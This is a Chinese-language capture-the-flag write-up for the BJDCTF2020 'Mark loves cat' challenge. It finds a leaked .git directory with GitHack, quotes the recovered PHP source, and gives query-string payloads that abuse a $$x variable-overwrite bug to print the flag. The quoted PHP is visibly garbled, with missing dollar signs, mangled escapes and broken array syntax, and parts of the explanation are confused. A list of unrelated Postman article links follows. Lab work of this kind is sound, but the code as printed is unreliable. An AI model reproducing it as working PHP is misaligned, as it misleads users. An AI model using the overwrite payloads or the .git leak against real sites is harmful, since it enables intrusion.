[BJDCTF2020]Mark loves cat1

打开题目

发现这么多链接,以为要一点点去找功能上的漏洞。当你源代码,dirsearch,抓包等等操作之后,发现什么都没有。所以这题又是一道源码泄露题,上GItHack。扫描结果如下

http://63f29a80-e08b-43ae-a6d0-8e70fb02eaa3.node5.buuoj.cn:81/.git

主要代码在index里面

<?php

include 'flag.php';

$yds = "dog";

$is = "cat";

$handsome = 'yds';

foreach(_POST as x => $y){

$$x = y; //flag=1

}

foreach(_GET as x => $y){

x = y;

}

foreach(_GET as x => $y){

if(_GET\['flag'\] === x && $x !== 'flag'){

exit($handsome);

}

}

if(!isset(_GET\['flag'\]) \&\& !isset(_POST'flag')){

exit($yds);

}

if(_POST\['flag'\] === 'flag' \|\| _GET'flag' === 'flag'){

exit($is);

}

echo "the flag is: ".$flag;

根据源代码,需要通过get传参达到变量覆盖的目的。

?yds=flag

覆盖is变量

if(_POST\['flag'\] === 'flag' \|\| _GET'flag' === 'flag'){

exit($is);

}

Get或Post传入flag=flag,触发变量覆盖代码

foreach(_POST as x => $y){

$$x = y; //flag=1

}

foreach(_GET as x => $y){

x = y;

}

输出?is=flag&flag=flag

再覆盖覆盖handsome变量

handsome=flag,得到handsome=flag

?handsome=flag&flag=handsome

可以得到flag

相关推荐
Chloeis Syntax11 小时前
JAVAEE初阶 --- 构造HTTP请求
网络·网络协议·http·postman
胡渠洋6 天前
postman学习
学习·测试工具·postman
胡渠洋8 天前
用python实现postman
开发语言·python·postman
啦啦啦!9 天前
AI接口自动化测试的学习
学习·postman
m0_7520356311 天前
postman重新安装后历史接口数据不见了
测试工具·postman
Alan_69113 天前
聊聊 Swagger/Postman/Apifox 的真实选型与 Python 项目实战
python·测试工具·postman
♛小小小让让14 天前
postman写断言(assert)
postman·断言
糖果店的幽灵1 个月前
软件测试接口测试从入门到精通:Postman入门到精通
软件测试·测试工具·接口测试·postman·api测试